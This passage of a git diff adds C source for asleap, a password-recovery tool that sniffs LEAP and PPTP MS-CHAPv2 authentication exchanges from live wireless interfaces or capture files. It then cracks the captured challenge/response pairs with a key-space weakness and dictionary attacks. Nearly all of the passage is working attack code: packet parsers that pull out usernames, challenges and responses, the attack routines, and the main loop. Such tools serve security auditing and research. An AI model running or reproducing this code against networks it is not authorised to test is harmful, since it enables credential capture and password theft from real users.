dot2 = (struct ieee8022 *)(packet+offset); + offset += DOT2HDR_LEN; + plen -= DOT2HDR_LEN; + + if (plen <= 0) { + return -1; + } + + if (dot2->dsap != IEEE8022_SNAP || dot2->ssap != IEEE8022_SNAP) { + return -1; + } + + if (ntohs(dot2->type) != IEEE8022_TYPE_IP) { + return -1; + } + + + /* IP Header parsing */ + + /* Test for at least 4 bytes in IP header for HDR LEN */ + if (plen < 4) { + return -1; + } + + ip = (struct iphdr *)(packet + offset); + + /* Header length is represented in 32-bit words */ + iphdrlen = ((ip->ver_hlen & 0x0f) * 4); + + if (iphdrlen < IPHDR_MIN_LEN || iphdrlen > IPHDR_MAX_LEN) { + return -1; + } + + offset += iphdrlen; + plen -= iphdrlen; + + if (ip->proto != IPPROTO_GRE) { + return -1; + } + + + /* GRE Header parsing */ + + gre = (struct grehdr *)(packet+offset); + offset += GREHDR_MIN_LEN; + plen -= GREHDR_MIN_LEN; + + if (plen < 0) { + return -1; + } + + if (ntohs(gre->type) != GREPROTO_PPP) { + return -1; + } + + /* Length of the GRE header is variable based on the flags field + settings for sequence and ack numbers. */ + if (gre->flags & GRE_FLAG_SYNSET) { + plen -= 4; + offset += 4; + } + if (gre->flags & GRE_FLAG_ACKSET) { + plen -= 4; + offset += 4; + } + + + /* PPP Header parsing */ + + ppp = (struct ppphdr *)(packet+offset); + offset += PPPHDR_LEN; + plen -= PPPHDR_LEN; + + if (plen <= 0) { + return -1; + } + + if (ntohs(ppp->proto) != PPPPROTO_CHAP) { + return -1; + } + + + /* PPP CHAP Header follows */ + return offset; + +} + +int findlpexch(struct asleap_data *asleap_ptr, int timeout, int offset) +{ + + struct timeval then, now; + int epochstart, elapsed, n, len; + int chapoffset, leapoffset; + + gettimeofday(&then, NULL); + epochstart = ((then.tv_sec * 1000000) + then.tv_usec); + + /* Start a while() loop that ends only when the timeout duration is + exceeded, or LEAP credentials are discovered. */ + while (1) { + + if ((asleap_ptr->leapchalfound && asleap_ptr->leaprespfound && + asleap_ptr->leapsuccessfound)) + return LEAPEXCHFOUND; + + if ((asleap_ptr->pptpchalfound && asleap_ptr->pptprespfound && + asleap_ptr->pptpsuccessfound)) + return PPTPEXCHFOUND; + + /* Test for out timeout condition */ + if (timeout != 0) { + gettimeofday(&now, NULL); + /* Get elapsed time, in seconds */ + elapsed = + ((((now.tv_sec * 1000000) + now.tv_usec) - + epochstart) / 1000000); + if (elapsed > timeout) + return LPEXCH_TIMEOUT; + } + + /* Obtain a packet for analysis */ + n = getpacket(p); + len = (h.len - offset); + + /* Test to make sure we got something interesting */ + if (n < 0) { + continue; + } else if (n == 1) { + if (asleap_ptr->verbose) + printf("Reached EOF on pcapfile.\n"); + cleanup(); /* exits */ + } + + if (packet == NULL) { + continue; + } + + if (asleap_ptr->verbose > 2) { + lamont_hdump((packet + offset), h.len - offset); + printf("\n"); + } + + /* Start new packet parser here */ + + + leapoffset = geteapoffset(packet, len, offset); + if (leapoffset > 0) { + + len -= leapoffset; + + if (asleap_ptr->leapchalfound == 0 + && asleap_ptr->leaprespfound == 0) { + if (testleapchal(asleap_ptr, len, leapoffset) + == 0) { + asleap_ptr->leapchalfound = 1; + continue; + } + } + + if (asleap_ptr->leapchalfound == 1 + && asleap_ptr->leaprespfound == 0) { + if (testleapresp(asleap_ptr, len, leapoffset) + == 0) { + asleap_ptr->leaprespfound = 1; + continue; + } + } + + if (asleap_ptr->leapsuccessfound == 0 + && asleap_ptr->leapchalfound == 1 + && asleap_ptr->leaprespfound == 1) { + if (asleap_ptr->skipeapsuccess) { + asleap_ptr->leapsuccessfound = 1; + continue; + } else if (testleapsuccess(asleap_ptr, len, + leapoffset) == 0) { + asleap_ptr->leapsuccessfound = 1; + continue; + } + } + } + + chapoffset = getpppchapoffset(packet, len, offset); + if (chapoffset > 0) { + + if (asleap_ptr->pptpchalfound == 0 + && asleap_ptr->pptprespfound == 0) { + if (testpptpchal(asleap_ptr, len, chapoffset) + == 0) { + asleap_ptr->pptpchalfound = 1; + continue; + } + } + + if (asleap_ptr->pptprespfound == 0 + && asleap_ptr->pptpchalfound == 1) { + if (testpptpresp(asleap_ptr, len, chapoffset) + == 0) { + asleap_ptr->pptprespfound = 1; + continue; + } + } + + if (asleap_ptr->pptpsuccessfound == 0 + && asleap_ptr->pptpchalfound == 1 + && asleap_ptr->pptprespfound == 1) { + if (testpptpsuccess(asleap_ptr, len, + chapoffset) == 0) { + asleap_ptr->pptpsuccessfound = 1; + continue; + } + } + } + + } +} + +void genchalhash(struct asleap_data *asleap) +{ + + SHA1_CTX context; + unsigned char digest[SHA1_MAC_LEN]; + char strippedname[256]; + int j; + + /* RFC2759 indicates a username "BIGCO\johndoe" must be stripped to + contain only the username for the purposes of generating the 8-byte + challenge. Section 4, */ + stripname(asleap->username, strippedname, sizeof(strippedname), '\\'); + + SHA1Init(&context); + SHA1Update(&context, asleap->pptppeerchal, 16); + SHA1Update(&context, asleap->pptpauthchal, 16); + SHA1Update(&context, (uint8_t *)strippedname, strlen(strippedname)); + SHA1Final(digest, &context); + + memcpy(&asleap->challenge, digest, 8); + + printf("\tchallenge: "); + for (j = 0; j < 8; j++) + printf("%02x", digest[j]); + printf("\n"); +} + +int attack_leap(struct asleap_data *asleap) +{ + + int getmschappwret = 0; + + if (asleap->verbose) + printf("\tAttempting to recover last 2 of hash.\n"); + + if (gethashlast2(asleap)) { + printf("\tCould not recover last 2 bytes of hash from the\n"); + printf("\tchallenge/response. Sorry it didn't work out.\n"); + asleap_reset(asleap); + return -1; + } else { + print_hashlast2(asleap); + } + + if (asleap->verbose) + printf("\tStarting dictionary lookups.\n"); + + if (!IsBlank(asleap->wordfile)) { + /* Attack MS-CHAP exchange with a straight dictionary list */ + getmschappwret = getmschapbrute(asleap); + } else { + getmschappwret = getmschappw(asleap); + } + + if (getmschappwret == 1) { + /* Success! Print password and hash info */ + print_leappw(asleap); + return 0; + } else if (getmschappwret == 0) { + /* No matching hashes found */ + printf("\tCould not find a matching NT hash. "); + printf("Try expanding your password list.\n"); + printf("\tI've given up. Sorry it didn't work out.\n"); + return 1; + } else { + /* Received an error */ + printf("Experienced an error in getmschappw, returned %d.\n", + getmschappwret); + return -1; + } + + return -1; +} + +int attack_pptp(struct asleap_data *asleap) +{ + + int getmschappwret = 0; + + if (asleap->verbose) + printf("\tAttempting to recover last 2 of hash.\n"); + + /* Generate the 8-byte hash from the auth chal, peer chal and + * login name */ + genchalhash(asleap); + + if (gethashlast2(asleap)) { + printf("\tCould not recover last 2 bytes of hash from the\n"); + printf("\tchallenge/response. Sorry it didn't work out.\n"); + asleap_reset(asleap); + return -1; + } else { + print_hashlast2(asleap); + } + + if (asleap->verbose) + printf("\tStarting dictionary lookups.\n"); + + if (!IsBlank(asleap->wordfile)) { + /* Attack MS-CHAP exchange with a straight dictionary list */ + getmschappwret = getmschapbrute(asleap); + } else { + getmschappwret = getmschappw(asleap); + } + + if (getmschappwret == 1) { + /* Success! Print password and hash info */ + print_leappw(asleap); + return 0; + } else if (getmschappwret == 0) { + /* No matching hashes found */ + printf("\tCould not find a matching NT hash. "); + printf("Try expanding your password list.\n"); + printf("\tI've given up. Sorry it didn't work out.\n"); + return 1; + } else { + /* Received an error */ + printf("Experienced an error in getmschappw, returned %d.\n", + getmschappwret); + return -1; + } +} + +int testpptpchal(struct asleap_data *asleap_ptr, int plen, int offset) +{ + struct pppchaphdr *pppchap; + + pppchap = (struct pppchaphdr *)(packet+offset); + + if (pppchap->code != PPPCHAP_CHALLENGE) { + return -1; + } + + if (plen < PPPCHAPHDR_MIN_CHAL_LEN) { + return -1; + } + + /* Found the PPTP Challenge frame */ + if (asleap_ptr->verbose) { + printf("\n\nCaptured PPTP challenge:\n"); + lamont_hdump((packet+offset), h.len-offset); + printf("\n"); + } + + /* We have captured a PPTP challenge packet. Populate asleap, + then continue to collect traffic */ + memcpy(asleap_ptr->pptpauthchal, pppchap->u.chaldata.authchal, + sizeof(asleap_ptr->pptpauthchal)); + + return 0; +} + +int testpptpresp(struct asleap_data *asleap_ptr, int plen, int offset) +{ + int usernamelen; + struct pppchaphdr *pppchap; + + pppchap = (struct pppchaphdr *)(packet+offset); + + if (pppchap->code != PPPCHAP_RESPONSE) { + return -1; + } + + if (plen < PPPCHAPHDR_MIN_RESP_LEN) { + return -1; + } + + + /* Found the PPTP Response frame */ + if (asleap_ptr->verbose) { + printf("\n\nCaptured PPTP response:\n"); + lamont_hdump((packet+offset), (h.len-offset)); + printf("\n"); + } + + memcpy(asleap_ptr->pptppeerchal, pppchap->u.respdata.peerchal, 16); + memcpy(asleap_ptr->response, pppchap->u.respdata.peerresp, 24); + + usernamelen = (ntohs(pppchap->length) - + (pppchap->u.respdata.datalen + 5)); + + if (usernamelen < sizeof(asleap_ptr->username)) { + memcpy(asleap_ptr->username, &pppchap->u.respdata.name, + usernamelen); + } else { + fprintf(stderr, "WARNING: reported username length exceeds RFC " + "specification.\n"); + return (-1); + } + + return 0; +} + +/* poffset is the beginning of the EAP data */ +int testleapchal(struct asleap_data *asleap_ptr, int plen, int offset) +{ + + struct eap_hdr *eaph; + struct eap_leap_hdr *leaph; + + eaph = (struct eap_hdr *)(packet+offset); + + /* Use eaphdr packet length or entire packet length, whichever is + smaller. */ + plen = (ntohs(eaph->length) < plen) ? (ntohs(eaph->length)) : plen; + + plen -= EAPHDR_MIN_LEN; + offset += EAPHDR_MIN_LEN; + + if (plen < EAPLEAP_MIN_REQ_LEN) { + return -1; + } + + if (eaph->code != EAP_REQUEST) { + return -1; + } + + leaph = (struct eap_leap_hdr *)(packet+offset); + plen -= EAPLEAPHDR_LEN; + offset += EAPLEAPHDR_LEN; + + if (leaph->version != 1) { + return -1; + } + + if (leaph->reserved != 0) { + return -1; + } + + if (leaph->count != 8) { /* 8 byte challenge */ + return -1; + } + + /* Found the LEAP Challenge frame */ + if (asleap_ptr->verbose) { + printf("\n\nCaptured LEAP challenge:\n"); + lamont_hdump((packet+offset), (h.len-offset)); + printf("\n"); + } + + + /* We have captured a LEAP challenge packet. Populate asleap, + then continue to collect traffic */ + asleap_ptr->eapid = eaph->identifier; + memcpy(asleap_ptr->challenge, packet+offset, 8); + offset += 8; + plen -= 8; + + /* The username is variable length, but is the only data left in the + frame, copy plen bytes into username */ + memcpy(asleap_ptr->username, packet+offset, plen); + + return 0; +} + +int testpptpsuccess(struct asleap_data *asleap_ptr, int plen, int offset) +{ + struct pppchaphdr *pppchap; + + pppchap = (struct pppchaphdr *)(packet+offset); + + if (plen < PPPCHAPHDR_LEN) { + return -1; + } + + if (pppchap->code == PPPCHAP_FAILURE) { + if (asleap_ptr->verbose) { + printf("\n\nCaptured PPTP Failure message:\n"); + lamont_hdump((packet+offset), (h.len-offset)); + printf("\n"); + } + /* Since we got a failure message, we don't need to retain the + chal and response data, clear it and restart the process */ + asleap_reset(asleap_ptr); + return -1; + } + + if (pppchap->code != PPPCHAP_SUCCESS) { + return -1; + } + + /* Found the PPTP Success frame */ + if (asleap_ptr->verbose) { + printf("\n\nCaptured PPTP success:\n"); + lamont_hdump((packet+offset), (h.len-offset)); + printf("\n"); + } + + return 0; +} + +int testleapresp(struct asleap_data *asleap_ptr, int plen, int offset) +{ + + struct eap_hdr *eaph; + struct eap_leap_hdr *leaph; + + eaph = (struct eap_hdr *)(packet+offset); + + /* Use eaphdr packet length or entire packet length, whichever is + smaller. */ + plen = (ntohs(eaph->length) < plen) ? (ntohs(eaph->length)) : plen; + + plen -= EAPHDR_MIN_LEN; + offset += EAPHDR_MIN_LEN; + + if (plen < EAPLEAP_MIN_RESP_LEN) { + return -1; + } + + if (eaph->code != EAP_RESPONSE) { + return -1; + } + + if (eaph->identifier != asleap_ptr->eapid) { + fprintf(stderr, "LEAP Response, but does not match ID for " + "previously observed request frame (%d/%d).\n", + asleap_ptr->eapid, eaph->identifier); + return -1; + } + + leaph = (struct eap_leap_hdr *)(packet+offset); + plen -= EAPLEAPHDR_LEN; + offset += EAPLEAPHDR_LEN; + + if (leaph->version != 1) { + return -1; + } + + if (leaph->reserved != 0) { + return -1; + } + + if (leaph->count != 24) { /* 24 byte response */ + return -1; + } + + /* Found the LEAP Response frame */ + if (asleap_ptr->verbose) { + printf("\n\nCaptured LEAP response:\n"); + lamont_hdump((packet+offset), (h.len-offset)); + printf("\n"); + } + + /* We have captured a LEAP response packet. Populate asleap, + then continue to collect traffic */ + memcpy(asleap_ptr->response, packet+offset, 24); + + return 0; +} + +int testleapsuccess(struct asleap_data *asleap_ptr, int plen, int offset) +{ + + struct eap_hdr *eaph; + + eaph = (struct eap_hdr *)(packet+offset); + + /* Use eaphdr packet length or entire packet length, whichever is + smaller. */ + plen = (ntohs(eaph->length) < plen) ? (ntohs(eaph->length)) : plen; + + plen -= EAPHDR_MIN_LEN; + + if (plen < 0) { + return -1; + } + + if (eaph->code != EAP_SUCCESS) { + return -1; + } + + if (eaph->identifier != (asleap_ptr->eapid)) { + fprintf(stderr, "EAP Success, but does not match ID for " + "previously observed request frame (%d/%d). Try again " + "with the -s flag to skip the authentication success " + "check.\n", + asleap_ptr->eapid, eaph->identifier); + return -1; + } + + return 0; +} + +void asleap_reset(struct asleap_data *asleap) +{ + + memset(asleap->username, 0, sizeof(asleap->username)); + memset(asleap->challenge, 0, sizeof(asleap->challenge)); + memset(asleap->response, 0, sizeof(asleap->response)); + memset(asleap->endofhash, 0, sizeof(asleap->endofhash)); + memset(asleap->password, 0, sizeof(asleap->password)); + memset(asleap->pptpauthchal, 0, sizeof(asleap->pptpauthchal)); + memset(asleap->pptppeerchal, 0, sizeof(asleap->pptppeerchal)); +// memset(asleap->pptpchal, 0, sizeof(asleap->pptpchal)); +// memset(asleap->pptppeerresp, 0, sizeof(asleap->pptppeerresp)); + asleap->leapchalfound = asleap->leaprespfound = 0; + asleap->leapsuccessfound = 0; + asleap->pptpchalfound = asleap->pptprespfound = 0; + asleap->pptpsuccessfound = 0; +} + +/* Populate global packet[] with the next available packet */ +int getpacket(pcap_t *p) +{ + extern unsigned long pcount; + extern u_char *packet; + + if (!(packet = (u_char *) pcap_next(p, &h)) == 0) { + pcount++; + return (0); + } else { + return (1); + } +} + +char *getdevice(char *optarg) +{ + + pcap_if_t *devpointer; + int devnum = 0, i = 0; + + if ((devnum = atoi(optarg)) != 0) { + if (devnum < 0) { + fprintf(stderr, "Invalid adapter index.\n"); + return NULL; + } + + if (pcap_findalldevs(&devpointer, errbuf) < 0) { + fprintf(stderr, "%s\n", errbuf); + return NULL; + } else { + for (i = 0; i < devnum - 1; i++) { + devpointer = devpointer->next; + if (devpointer == NULL) { + fprintf(stderr, + "Invalid adapter index.\n"); + return NULL; + } + } + } + } + + return (devpointer->name); +} + +/* List all the available interfaces, adapted from WinDump code */ +int listdevs() +{ + + pcap_if_t *devpointer; + int i; + + if (pcap_findalldevs(&devpointer, errbuf) < 0) { + fprintf(stderr, "%s", errbuf); + return (-1); + } else { + printf("Device listing:\n"); + for (i = 0; devpointer != 0; i++) { + printf("%d. %s", i + 1, devpointer->name); + if (devpointer->description != NULL) + printf(" (%s)", devpointer->description); + printf("\n"); + devpointer = devpointer->next; + } + return (0); + } +} + + +/* Determine radiotap data length (including header) and return offset for the +beginning of the 802.11 header */ +int radiotap_offset(pcap_t *p, struct pcap_pkthdr *h) +{ + + struct ieee80211_radiotap_header *rtaphdr; + int rtaphdrlen=0; + + /* Grab a packet to examine radiotap header */ + if (pcap_next_ex(p, &h, (const u_char **)&packet) > -1) { + + rtaphdr = (struct ieee80211_radiotap_header *)packet; + rtaphdrlen = le16_to_cpu(rtaphdr->it_len); /* rtap is LE */ + + /* Sanity check on header length, 10 bytes is min 802.11 len */ + if (rtaphdrlen > (h->len - 10)) { + return -2; /* Bad radiotap data */ + } + + return rtaphdrlen; + } + + return -1; +} + + +int main(int argc, char *argv[]) +{ + + int c, opt_verbose = 0, offset; + char *device, dictfile[255], dictidx[255], pcapfile[255]; + struct asleap_data asleap; + struct stat dictstat, capturedatastat; + int findleaptimeout = 5; + unsigned int findlpexchret = 0; + int ret=0; + extern int success; + + memset(dictfile, 0, sizeof(dictfile)); + memset(dictidx, 0, sizeof(dictidx)); + memset(pcapfile, 0, sizeof(pcapfile)); + memset(&asleap, 0, sizeof(asleap)); + device = NULL; + + signal(SIGINT, cleanup); + signal(SIGTERM, cleanup); + signal(SIGQUIT, cleanup); + + printf("asleap %s - actively recover LEAP/PPTP passwords. " + "\n", VER); + + while ((c = getopt(argc, argv, "DsoavhVi:f:n:r:w:c:t:W:C:R:")) != EOF) { + switch (c) { + case 's': + asleap.skipeapsuccess = 1; + break; + case 'C': + if (strlen(optarg) != 23) { + usage("Incorrect challenge input length " + "specified.\n"); + exit(1); + } + if (str2hex(optarg, asleap.challenge, + sizeof(asleap.challenge)) < 0) { + usage("Malformed value specified as " + "challenge.\n"); + exit(1); + } + asleap.leapchalfound=1; + asleap.manualchalresp=1; + break; + case 'R': + if (strlen(optarg) != 71) { + usage("Incorrect response input length " + "specified.\n"); + exit(1); + } + if (str2hex(optarg, asleap.response, + sizeof(asleap.response)) < 0) { + usage("Malformed value specified as " + "response.\n"); + exit(1); + } + asleap.leaprespfound=1; + asleap.manualchalresp=1; + break; + case 'i': + if (atoi(optarg) == 0) { + device = optarg; + } else { + device = getdevice(optarg); + if (device == NULL) { + usage("Error processing device name, " + "try -D"); + exit(1); + } + } + break; + case 'f': + strncpy(dictfile, optarg, sizeof(dictfile) - 1); + break; + case 'n': + strncpy(dictidx, optarg, sizeof(dictidx) - 1); + break; + case 'h': + usage(""); + exit(0); + break; + case 'r': + strncpy(pcapfile, optarg, sizeof(pcapfile) - 1); + break; + case 'v': + opt_verbose += 1; + break; + case 't': + findleaptimeout = atoi(optarg); + break; + case 'V': + printf("Version $Id: asleap.c,v 1.30 2007/05/10 19:29:06 jwright Exp $\n"); + exit(0); + break; + case 'D': + /* list available devices */ + listdevs(); + exit(0); + break; + case 'W': + strncpy(asleap.wordfile, optarg, + sizeof(asleap.wordfile) - 1); + break; + default: + usage(""); + exit(1); + } + } + + /* Populate the asleap struct with the gathered information */ + asleap.verbose = opt_verbose; + strncpy(asleap.dictfile, dictfile, sizeof(asleap.dictfile) - 1); + strncpy(asleap.dictidx, dictidx, sizeof(asleap.dictidx) - 1); + + if (IsBlank(device) && IsBlank(pcapfile) && !asleap.manualchalresp) { + usage ("Must supply an interface with -i, or a stored file " + "with -r"); + exit(1); + } + + if (!IsBlank(asleap.wordfile)) { + if (*asleap.wordfile == '-') { + printf("Using STDIN for words.\n"); + } else { + printf("Using wordlist mode with \"%s\".\n", + asleap.wordfile); + } + } + + if (!IsBlank(asleap.dictfile)) { + if (stat(asleap.dictfile, &dictstat)) { + /* Could not stat the dictionary file. Bail. */ + usage("Could not stat the dictionary file."); + exit(1); + } + } + + if (asleap.leapchalfound && asleap.leaprespfound && + asleap.manualchalresp) { + /* User specified manual challenge/response on the command + * line (aka, the "Jay Beale" feature). + */ + return(attack_leap(&asleap)); + } + + /* If the user passed the -r flag, open the filename as a captured pcap + file. Otherwise open live from the supplied device name */ + if (!IsBlank(pcapfile)) { + + /* Make sure the the file exists */ + if (stat(pcapfile, &capturedatastat) != 0) { + usage("Could not stat the pcap file."); + exit(1); + } + + /* Libpcap file */ + p = pcap_open_offline(pcapfile, errbuf); + if (p == NULL) { + fprintf(stderr, "Unable to open packet capture file \"" + "%s\".\n", pcapfile); + exit(-1); + } + + } else { /* Reading from interface in live capture mode */ + + p = pcap_open_live(device, SNAPLEN, PROMISC, TIMEOUT, errbuf); + if (p == NULL) { + perror("Unable to open live interface"); + exit(-1); + } + } + + + /* Determine offset to 802.11 header, skipping any capture header + data that may come before it. */ + switch(pcap_datalink(p)) { + + case DLT_IEEE802_11: + offset = 0; + break; + + case DLT_IEEE802_11_RADIO: + offset = radiotap_offset(p, &h); + if (offset < sizeof(struct ieee80211_radiotap_header)) { + fprintf(stderr, "Unable to determine offset " + "from radiotap header (%d).\n", offset); + return(-1); + } + break; + + case DLT_TZSP: + offset = 29; + break; + + case DLT_PRISM_HEADER: + offset = 144; + break; + + default: + fprintf(stderr, "Unsupported pcap datalink type: (%d) " + "\n", pcap_datalink(p)); + cleanup(); /* Exits */ + } + +/* + * Our attack method is to collect frames until we get an EAP-Challenge packet. + * From the EAP-Challenge packet we collect the 8-byte challenge, then wait for + * the EAP-Response to collect the response information. With the challenge + * and response, we start the grinder to abuse weaknesses in MS-CHAPv2 to + * recover weak passwords. The username information is sent in the clear in + * both challenge and response traffic. Take a look at asleap.h for packet + * definition information. + */ + + while (1) { + + findlpexchret = findlpexch(&asleap, 0, offset); + + if (findlpexchret == LEAPEXCHFOUND) { + printf("\nCaptured LEAP exchange information:\n"); + print_leapexch(&asleap); + break; + } + + if (findlpexchret == PPTPEXCHFOUND) { + printf("\nCaptured PPTP exchange information:\n"); + print_pptpexch(&asleap); + break; + } + + } + + + /* Now that we have the challenge and response information, the + real fun begins. With the hash and response, we can use the + weakness in caculating the third DES key used to generate the + response text since this is only 2^16 possible combinations. */ + if (asleap.leapchalfound && asleap.leaprespfound) { + ret = attack_leap(&asleap); + if (ret == 0 && success == 0) { + success = 1; + } + asleap_reset(&asleap); + } + + if (asleap.pptpchalfound && asleap.pptprespfound) { + ret = attack_pptp(&asleap); + if (ret == 0 && success == 0) { + success = 1; + } + asleap_reset(&asleap); + } + + if (success == 1) { + /* At least one attack was successful */ + return 0; + } else { + /* No attacks were successful */ + return 1; + } +} diff --git a/asleap/src/asleap.h b/asleap/src/asleap.h new file mode 100644 index 0000000..1225fec --- /dev/null +++ b/asleap/src/asleap.h @@ -0,0 +1,77 @@ +/* + * asleap - recover weak LEAP passwords. Pronounced "asleep". + * + * $Id: asleap.h,v 1.17 2007/05/10 19:29:06 jwright Exp $ + * + * Copyright (c) 2004, Joshua Wright + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. See COPYING for more + * details. + * + * asleap is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +/* + * Significant code is graciously taken from the following: + * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg + */ + +/* These offsets follow start at the beginning of the IP Header */ +//#define GREOFFSET 20 +#define IPHDRLEN 20 /* Not always constant, but usually */ +#define GREMINHDRLEN 8 +#define GRESYNSETFLAG 0x0010 +#define GREACKSETFLAG 0x8000 +//#define PPPGREOFFSET 16 +#define PPPGRECHAPOFFSET 2 +#define PPPUSERNAMEOFFSET 54 + +#define LPEXCH_ERR -1 +#define LPEXCH_TIMEOUT 0 +#define LEAPEXCHFOUND 1 +#define PPTPEXCHFOUND 2 + +#define GREPROTOPPP 0x880b +#define PPPPROTOCHAP 0xc223 + +/* asleap data structure, containing information from command line options and + gathered information from the network. + XXX This should *really* be broken up into two structures for command line + configuration information and packet capture results. Such is the result + of poor planning in the initial design. */ +struct asleap_data { + char username[256 + 1]; + uint8_t eapid; + uint8_t challenge[8]; + uint8_t response[24]; + uint8_t endofhash[2]; + char password[32]; + uint8_t nthash[16]; + /* for PPTP/true MS-CHAPv2 */ + uint8_t pptpauthchal[16]; + uint8_t pptppeerchal[16]; +// uint8_t pptpchal[8]; +// uint8_t pptppeerresp[24]; + + int eapsuccess; + int skipeapsuccess; /* Don't bother checking for success after auth */ + int verbose; + char dictfile[255]; + char dictidx[255]; + char wordfile[255]; + + /* Tracking values */ + uint8_t leapchalfound; + uint8_t leaprespfound; + uint8_t leapsuccessfound; + uint8_t pptpchalfound; + uint8_t pptprespfound; + uint8_t pptpsuccessfound; + uint8_t manualchalresp; +}; + diff --git a/asleap/src/byteswap.h b/asleap/src/byteswap.h new file mode 100644 index 0000000..6c9aab5 --- /dev/null +++ b/asleap/src/byteswap.h @@ -0,0 +1,47 @@ +#ifndef BYTESWAP_H +#define BYTESWAP_H + +#define __swab16(x) \ +({ \ + uint16_t __x = (x); \ + ((uint16_t)( \ + (((uint16_t)(__x) & (uint16_t)0x00ffU) << 8) | \ + (((uint16_t)(__x) & (uint16_t)0xff00U) >> 8) )); \ +}) + +#define __swab32(x) \ +({ \ + uint32_t __x = (x); \ + ((uint32_t)( \ + (((uint32_t)(__x) & (uint32_t)0x000000ffUL) << 24) | \ + (((uint32_t)(__x) & (uint32_t)0x0000ff00UL) << 8) | \ + (((uint32_t)(__x) & (uint32_t)0x00ff0000UL) >> 8) | \ + (((uint32_t)(__x) & (uint32_t)0xff000000UL) >> 24) )); \ +}) + +#define __swab64(x) \ +({ \ + uint64_t __x = (x); \ + ((uint64_t)( \ + (uint64_t)(((uint64_t)(__x) & (uint64_t)0x00000000000000ffULL) << 56) | \ + (uint64_t)(((uint64_t)(__x) & (uint64_t)0x000000000000ff00ULL) << 40) | \ + (uint64_t)(((uint64_t)(__x) & (uint64_t)0x0000000000ff0000ULL) << 24) | \ + (uint64_t)(((uint64_t)(__x) & (uint64_t)0x00000000ff000000ULL) << 8) | \ + (uint64_t)(((uint64_t)(__x) & (uint64_t)0x000000ff00000000ULL) >> 8) | \ + (uint64_t)(((uint64_t)(__x) & (uint64_t)0x0000ff0000000000ULL) >> 24) | \ + (uint64_t)(((uint64_t)(__x) & (uint64_t)0x00ff000000000000ULL) >> 40) | \ + (uint64_t)(((uint64_t)(__x) & (uint64_t)0xff00000000000000ULL) >> 56) )); \ +}) + +#ifdef WORDS_BIGENDIAN +#warning "Compiling for big-endian" +#define le16_to_cpu(x) __swab16(x) +#define le32_to_cpu(x) __swab32(x) +#define le64_to_cpu(x) __swab64(x) +#else +#define le16_to_cpu(x) (x) +#define le32_to_cpu(x) (x) +#define le64_to_cpu(x) (x) +#endif + +#endif /* BYTESWAP_H */ diff --git a/asleap/src/common.c b/asleap/src/common.c new file mode 100644 index 0000000..5e5a132 --- /dev/null +++ b/asleap/src/common.c @@ -0,0 +1,129 @@ +/* + * asleap - recover weak LEAP passwords. Pronounced "asleep". + * + * $Id: common.c,v 1.6 2007/05/10 19:29:06 jwright Exp $ + * + * Copyright (c) 2004, Joshua Wright + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. See COPYING for more + * details. + * + * asleap is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +/* + * Significant code is graciously taken from the following: + * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg + */ + +#include +#include +#include +#include +#include +#include "common.h" +#include "utils.h" + +#ifdef _OPENSSL_MD4 +#include +#define MD4Init MD4_Init +#define MD4Update MD4_Update +#define MD4Final MD4_Final +#define MD4WRAP MD4 +#else +#include "md4.h" +#define MD4WRAP md4 +#endif + +/* written from scratch + * Copyright (C) 2001 Jochen Eisinger, University of Freiburg + */ + +#define hex2int(c) ((((c) >= '0') && ((c) <= '9')) ? ((c) - '0') : \ + ((((c) >= 'A') && ((c) <= 'F')) ? ((c) - 'A' + 10) : \ + ((c) - 'a' + 10))) + +/* GetCharArray: + * Convert ASCII String to binary + */ +void getchararray(char *s, unsigned char *a) +{ + + int i, w, len; + + len = strlen(s); + + for (i = 0; i < len; i += 2) { + + w = hex2int(s[i]); + w <<= 4; + w += hex2int(s[i + 1]); + + a[i >> 1] = w; + + } + +} + +/* PutCharArray: + * Convert binary to ASCII String + */ +void PutCharArray(unsigned char *a, int c) +{ + char hexcode[] = "0123456789abcdef"; + int i; + for (i = 0; i < c; i++) + printf("%c%c", hexcode[a[i] >> 4], hexcode[a[i] & 15]); +} + +/* + * converts a string to a mac address... + * returns 1 on success, -1 on failure... + * failure indicates poorly formed input... + */ +int string_to_mac(char *string, unsigned int *mac_buf) +{ + char *ptr, *next; + unsigned long val; + int i; + + to_upper(string); + + ptr = next = string; + for (i = 0; i < 6; i++) { + if ((val = strtoul(next, &ptr, 16)) > 255) { + errno = EINVAL; + return (-1); + } + mac_buf[i] = (unsigned int)val; + if ((next == ptr) && (i != 6 - 1)) { + errno = EINVAL; + return (-1); + } + next = ptr + 1; + } + + return (1); +} + +void NtPasswordHash(char *secret, int secret_len, unsigned char *hash) +{ + + int i; + unsigned char unicodePassword[MAX_NT_PASSWORD * 2]; + + /* Initialize the Unicode version of the secret (== password). */ + /* This implicitly supports 8-bit ISO8859/1 characters. */ + memset(unicodePassword, 0, sizeof(unicodePassword)); + + for (i = 0; i < secret_len; i++) + unicodePassword[i * 2] = (unsigned char)secret[i]; + + /* Unicode is 2 bytes per char */ + MD4WRAP(unicodePassword, secret_len * 2, hash); +} diff --git a/asleap/src/common.h b/asleap/src/common.h new file mode 100644 index 0000000..edaae19 --- /dev/null +++ b/asleap/src/common.h @@ -0,0 +1,70 @@ +/* + * asleap - recover weak LEAP passwords. Pronounced "asleep". + * + * $Id: common.h,v 1.14 2007/05/10 19:29:06 jwright Exp $ + * + * Copyright (c) 2004, Joshua Wright + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. See COPYING for more + * details. + * + * asleap is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +/* + * Significant code is graciously taken from the following: + * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg + */ +#include +#include +#define MD4_SIGNATURE_SIZE 16 + +/* Prototypes */ +void getchararray(char *s, unsigned char *a); +void PutCharArray(unsigned char *a, int c); +int string_to_mac(char *string, 